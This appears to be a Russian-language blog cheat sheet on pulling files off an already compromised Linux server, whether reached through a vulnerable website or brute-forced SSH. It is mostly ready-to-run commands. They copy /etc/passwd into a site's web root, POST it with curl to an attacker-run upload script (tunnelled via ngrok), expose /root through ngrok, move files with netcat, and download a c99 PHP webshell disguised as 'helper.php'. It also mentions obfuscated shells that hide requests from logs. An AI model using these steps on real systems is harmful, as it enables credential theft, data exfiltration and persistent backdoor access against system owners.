Как скачать файл с сервера

Это небольшая шпаргалка, как скопировать файлы с уже скомпрометированной системы. Типичные ситуации:

  • на веб сайте найдена уязвимость Удалённое выполнение кода
  • получены учётные данные пользователя, позволяющие подключиться по SSH (например, с помощью брут-форса)

Я перечислю несколько способов, как скопировать файл с сервера, я не сомневаюсь, что вы сможете придумать ещё столько же или больше (кстати, делитесь ими в комментариях), выбор конкретного способа зависит от условий и от личных предпочтений.

Условия могут быть разные:

  • по уровню привилегий:
  • мы пользователь www-data или http (если команды выполняются через уязвимый веб-сайт), в этом случае у нас есть права на запись в директорию веб-сервера
  • мы пользователь без sudo, в этом случае мы можем записывать файлы в свою домашнюю директорию, а также в /tmp
  • мы пользователь с sudo, мы можем делать что угодно
  • по способу выполнения команд:
  • выполняется через уязвимое веб-приложение, в этом случае запуск сложных команд может быть затруднён из-за фильтрации кавычек и других специальных символов
  • команды выполняются при подключении по SSH, удобный способ, можно выполнять команды с любыми символами

1. cat + копирование с экрана/браузера

Простейший способ, с помощью команды cat выводится содержимое файла. Он подходит только для текстовых файлов. При выполнении команды по SSH, содержимое файла выводится в консоли, при выполнении через уязвимое веб-приложение, содержимое файла выводится на странице сайта:

Если делаете через выполнение команд в веб-браузере, то для нормального отображения откройте исходный код веб-страницы:

2. base64 + копирование с экрана/браузера

Этот способ похож на предыдущий, его можно применять для скачивания бинарных файлов, если другой возможности нет.

Для понимания сути, изучите следующие команды:

Содержимое исполнимого файла /usr/bin/ls (команда ls) кодируется в Base64 и сохраняется в файл ls.txt:

base64 /usr/bin/ls > ls.txt

Можно посмотреть, что в файле ls.txt размещён текст, который можно скопировать/вставить:

cat ./ls.txt

Теперь этот текст декодируем и сохраняем в файл ls.bin:

cat ./ls.txt | base64 -d > ls.bin

С помощью команды chmod делаем файл ls.bin исполнимым:

chmod +x ./ls.bin

Проверяем работоспособность этого файла:

./ls.bin

Суть в том, что с помощью base64 можно копированием-вставкой передавать бинарные файлы без возможности выгрузить их с сервера другим способом.

3. Помещение файла в директорию сайта и скачивание с веб-сервера

Допустим у нас есть право записи в директорию веб-сайта (мы выполняем команды через уязвимое веб-приложение). Адрес сайта not-secure-site.org. Тогда мы можем скопировать файл в директорию сайта и скачать его веб-браузером.

Допустим, папка сайта это /var/www/html/, тогда копируем нужный нам файл в неё следующей командой:

cp /etc/passwd /var/www/html/passwd.txt

Теперь этот файл будет доступен по ссылке http://not-secure-site.org/passwd.txt

Чтобы узнать текущую папку, где выполняется уязвимый скрипт, выполните команду pwd:

pwd

Типичные папки с сайтами:

  • /srv/http/ — некоторые дистрибутивы (например, Arch Linux) хранят здесь файлы веб-сервера.
  • /var/www/html/ — директория с файлами веб-сайтов веб-сервера Apache в Debian и производных дистрибутивах.

/etc/apache2/ — директория с настройками веб-сервера (когда служба называется apache2 — то есть в таких системах как Debian и производных)

Если неизвестно где папки сайтов, то нужно смотреть конфигурационные файлы Apache, там же можно узнать адрес сайта, если вдруг вы его не знаете (такое может быть, если сервер скомпрометирован по SSH):

  • /etc/apache2/conf/httpd.conf — главный конфигурационный файл Apache
  • /etc/apache2/conf/sites-enabled/ — включённые виртуальные хосты Apache

/etc/httpd/ — директория с настройками веб-сервера (когда служба называется httpd — то есть в таких системах как Arch Linux и производных)

  • /etc/httpd/conf/httpd.conf — главный конфигурационный файл Apache
  • /etc/httpd/conf/sites-enabled/ — включённые виртуальные хосты Apache

Смотрите также «Структура директорий Linux. Важные файлы Linux».

Чтобы посмотреть, запущен ли вообще веб-сервер:

systemctl status httpd # Arch Linux и пр.
systemctl status apache2 # Debian и пр.

Если файлов много, то их можно заархивировать:

zip -r АРХИВ.zip каталог_для_архивации1 каталог_для_архивации2 каталог_для_архивации3...

Если программа zip недоступна, то используйте tar:

tar cf имя_архива имя_каталога

Или другие программы для архивации, для этого смотрите также «Работа с архивами в Linux».

4. cURL + POST

Этот способ не требует наличия веб-сервера и, по идее, должен работать также и на Windows, поскольку там cURL предустановлена по умолчанию.


Суть очень проста. Каждый из нас множество раз выгружал файлы с компьютера на сайт, например, фотографию для профиля или файл в файлообменник. Мы используем веб-браузер, который методом POST отправляет файл. Вместо браузера можно отправлять файл с помощью команды curl, которая также умеет использовать метод POST.

На сервере создайте файл uploader.php:

<?php

if (!empty ($_FILES)) {
	$uploaddir = '/srv/http/upload/'; # укажите папку для загрузки, в которую у сервера есть права записи!
	$uploadfile = $uploaddir . basename($_FILES['file']['name']);

	if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
		echo "OK.\n";
	} 
	else {
		echo "NOT OK!\n";
	}
}

else {
	echo 'I did not get POST!';
}

С компьютера, с которого нужно выгрузить файл, запустите команду вида:

curl -F "file=@/путь/до/файла" СЕРВЕР/uploader.php

Обратите внимание на символ @ - он нужен для того, чтобы параметру file было присвоено не значение строки «/путь/до/файла», а содержимое того самого файла, который находится по пути /путь/до/файла.

Пример команды:

curl -F "file=@/etc/passwd" 192.168.0.89/uploader.php

Если у вас серый IP адрес (к которому невозможно подключиться из Интернета), то в этой ситуации поможет программа ngrok. То есть в предыдущей команды вместо СЕРВЕР/uploader.php можно указать домен третьего уровня ngrok, от которого идёт туннель к вашему локальному веб-серверу.

Больше примеров и подробностей смотрите в статье «Как выгрузить файлы методом POST с помощью cURL. Как отправить форму в cURL».

5. ngrok

Программа ngrok отсутствует по умолчанию, поэтому нужно начать с установки:

wget `curl -s https://ngrok.com/download | grep -o -E 'https://bin.equinox.io/c/[A-Za-z0-9]{4,}/ngrok-stable-linux-amd64.zip'`
unzip ngrok-stable-linux-amd64.zip
chmod +x ./ngrok
./ngrok authtoken ВАШ_AUTHTOKEN

Не забудьте заменить ВАШ_AUTHTOKEN на настоящее значение.

Эта долгая установка точно стоит своих усилий, дело в том, что теперь можно сделать сетевой абсолютно ЛЮБУЮ папку на компьютере Linux! Например:

ngrok http file:///root/

Смотрите подробности в статье «Как без белого IP локальный веб-сервер сделать доступным из Интернета».

6. Встроенный сервер PHP

У PHP есть встроенный веб сервер. Сам PHP довольно часто присутствует на компьютерах Linux, а если это веб-сервер, то присутствует практически всегда.

Особенность использования веб-сервера PHP от использования веб-сервера системы в том, вы запускаете PHP от своего текущего пользователя, а не от www-data или http, т. е. у вас другие права на доступ к файлам.

Нужно запускать командой вида:

php -S IP:PORT -t /путь/до/папки

В качестве IP нужно указать IP адрес удалённого компьютера, узнать его можно командой:

curl suip.biz/ip/

PORT можно указать любой, но для использования портов ниже 1024 нужны привилегии суперпользователя.

Пример запуска:

php -S 192.168.0.89:8484 -t /home/mial

Обратите внимание, что листинг файлов в директории отсутствует, то есть открывая в веб-браузере ссылку нужно указать имя конкретного файла, который присутствует в директории /путь/до/папки, пример ссылки http://192.168.0.89:8484/файл

7. SSH и перенаправление вывода на текущую систему

SSH можно использовать для копирования текстовых файлов:

ssh USER@IP 'cat FILE' > FILE

А также и для копирования бинарных файлов:

ssh USER@IP 'base64 FILE' > FILE.b64
cat ./FILE.b64 | base64 -d > FILE.bin

Подробности смотрите в «Выполнение команд на удалённом сервере без создания сессии шелла».

8. scp

Программа scp является частью SSH и предназначена специально для копирования файлов в любом направлении. То есть если у вас есть возможность подключиться по SSH, то намного удобнее воспользоваться scp.

Вид команды для копирования с удалённого компьютера на локальный компьютер:

scp [ПОЛЬЗОВАТЕЛЬ@]ХОСТ:[ПУТЬ_ДО_ФАЙЛА] ./ПУТЬ/В/ЛОКАЛЬНОЙ/СИСТЕМЕ

Больше подробностей смотрите в разделе «Как пользоваться утилитой scp».

9. Сетевая файловая система SSHFS

Если у вас есть возможность подключиться по SSH, то вы можете смонтировать удалённую файловую систему как свою локальную командой вида:

sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ

Подробности смотрите в разделе «Сетевая файловая система SSHFS».

10. Ncat, Netcat, nc

Чтобы отправить файл через TCP порт 9899 с HOST2 (клиент) на HOST1 (сервер):

На HOST1 выполните:

ncat -l 9899 > ФАЙЛ_ВЫВОДА

А на HOST2:

ncat HOST1 9899 < ФАЙЛ_ВВОДА

Чтобы отправить в другом направлении (с HOST1 на HOST2), превратив Ncat в сервер «одного файла»:

На HOST1 запустите:

ncat -l 9899 < ФАЙЛ_ВВОДА

И на HOST2 выполните:

ncat HOST1 9899 > ФАЙЛ_ВЫВОДА

Смотрите также: https://kali.tools/?p=4578

11. Бэкдоры

Самый распространённый вариант для веб-серверов. Можно скачать бэкдор с веб-интерфейсом:

wget -O /var/www/html/helper.php https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php

А можно использовать более привычные шеллы с обфускацией и сокрытием передаваемых запросов от логов веб-сервера.

Больше подробностей смотрите по ссылкам:

Заключение

Конечно, способов скачать файл с удалённого компьютера через шелл или уязвимость веб сайта намного больше. Пишите в комментариях свои любимые способы!

Рекомендуется Вам:

Добавить комментарий

Ваш адрес email не будет опубликован.